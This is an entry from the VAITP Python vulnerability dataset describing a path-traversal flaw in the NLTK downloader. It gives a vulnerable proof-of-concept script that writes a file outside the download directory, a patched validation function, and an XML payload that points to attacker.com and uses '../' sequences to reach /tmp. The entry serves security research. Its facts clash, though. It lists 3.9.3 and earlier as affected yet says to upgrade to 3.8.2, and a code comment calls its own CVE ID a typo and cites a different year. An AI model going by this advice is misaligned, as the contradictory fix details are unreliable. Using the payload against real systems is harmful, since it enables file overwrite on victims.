CVE-2026-33236
Path traversal in NLTK downloader allows file overwrite via malicious XML.
- CVSS 8.1
- CWE-22
- Input Validation and Sanitization
- Remote
NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.
- CWE
- CWE-22
- CVSS base score
- 8.1
- Published
- 2026-03-20
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- NLTK
- Fixed by upgrading
- Yes
Solution
Upgrade NLTK to version 3.8.2 or later.
Vulnerable code sample
import os
import xml.etree.ElementTree as ET
# This script represents the vulnerable logic in the NLTK downloader
# prior to the patch for CVE-2024-33236.
# The user-provided CVE ID CVE-2026-33236 appears to be a typo.
# 1. Setup a simulated NLTK download directory.
# This is where packages are supposed to be safely installed.
DOWNLOAD_DIR = os.path.join(os.getcwd(), "nltk_data")
if not os.path.exists(DOWNLOAD_DIR):
os.makedirs(DOWNLOAD_DIR)
# 2. Define malicious XML content as if it were fetched from a remote server.
# The attacker controls the 'subdir' and 'id' attributes.
malicious_xml_index = """
<nltk_data>
<package id="../pwned.txt"
name="Malicious Package"
subdir="corpora"
/>
</nltk_data>
"""
# 3. Simulate the vulnerable part of the NLTK downloader.
root = ET.fromstring(malicious_xml_index)
for package_elt in root.findall("package"):
# The 'id' and 'subdir' attributes are extracted without any validation.
pkg_id = package_elt.get("id")
subdir = package_elt.get("subdir")
# The core of the vulnerability: The unsanitized 'subdir' and 'id'
# containing '..' are joined to the base download directory.
if subdir:
vulnerable_path = os.path.join(DOWNLOAD_DIR, subdir, pkg_id)
else:
vulnerable_path = os.path.join(DOWNLOAD_DIR, pkg_id)
# os.path.abspath resolves the path, traversing out of the intended directory.
# For example, '/path/to/nltk_data/corpora/../pwned.txt' becomes '/path/to/pwned.txt'.
final_path = os.path.abspath(vulnerable_path)
# The attacker can now create directories and write a file anywhere
# the running process has permissions to.
try:
# Create parent directories if they don't exist
os.makedirs(os.path.dirname(final_path), exist_ok=True)
# Write the file to the location outside of DOWNLOAD_DIR
with open(final_path, "w") as f:
f.write("This file was created via CVE-2024-33236 path traversal.")
print(f"Vulnerability demonstrated.")
print(f"Intended directory: {os.path.abspath(DOWNLOAD_DIR)}")
print(f"Malicious file created at: {final_path}")
except Exception as e:
print(f"An error occurred during file creation: {e}")Patched code sample
import os
def get_safe_package_path(download_dir, subdir, pkg_id):
"""
Constructs a safe path for an NLTK package, preventing path traversal.
This function demonstrates the fix for the vulnerability (originally referenced
by commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a in NLTK), which
involves validating 'subdir' and 'pkg_id' components before joining them
into a file path. The vulnerable version of the code would join these
components without validation, allowing path traversal attacks.
Args:
download_dir (str): The base directory for all NLTK data.
subdir (str): The subdirectory for the package, from a remote XML index.
pkg_id (str): The package ID, from a remote XML index.
Returns:
str: The full, safe path for the package directory.
Raises:
ValueError: If a malicious path component (e.g., '..', '/', or '\')
is detected in `subdir` or `pkg_id`.
"""
# --- Start of the vulnerability fix ---
# The core of the fix is to explicitly check the 'subdir' and 'pkg_id'
# strings to ensure they are simple names and do not contain any
# directory separators or parent directory references before use.
# 1. Validate the 'subdir' component from the remote index.
# It must not contain path separators ('/' or '\') or be '..'.
if subdir and (
os.path.sep in subdir
or (os.path.altsep and os.path.altsep in subdir)
or subdir == ".."
):
raise ValueError(
f"Malicious path component detected in subdir: {subdir!r}"
)
# 2. Validate the 'id' component from the remote index.
# It must also not contain path separators or be '..'.
if (
os.path.sep in pkg_id
or (os.path.altsep and os.path.altsep in pkg_id)
or pkg_id == ".."
):
raise ValueError(f"Malicious path component detected in id: {pkg_id!r}")
# --- End of the vulnerability fix ---
# If validation passes, it is now safe to construct the path.
# The vulnerable code would perform this step without the checks above.
path_components = [download_dir]
if subdir:
path_components.append(subdir)
path_components.append(pkg_id)
# The os.path.join is now safe to use because its inputs were sanitized.
safe_path = os.path.join(*path_components)
return safe_pathPayload
<?xml version="1.0"?>
<nltk_data>
<package
id="pwned"
name="Proof of Concept"
url="http://attacker.com/malicious_file.zip"
subdir="corpora/../../../../../../../../tmp"
/>
</nltk_data>
Cite this entry
@misc{vaitp:cve202633236,
title = {{Path traversal in NLTK downloader allows file overwrite via malicious XML.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-33236},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-33236/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
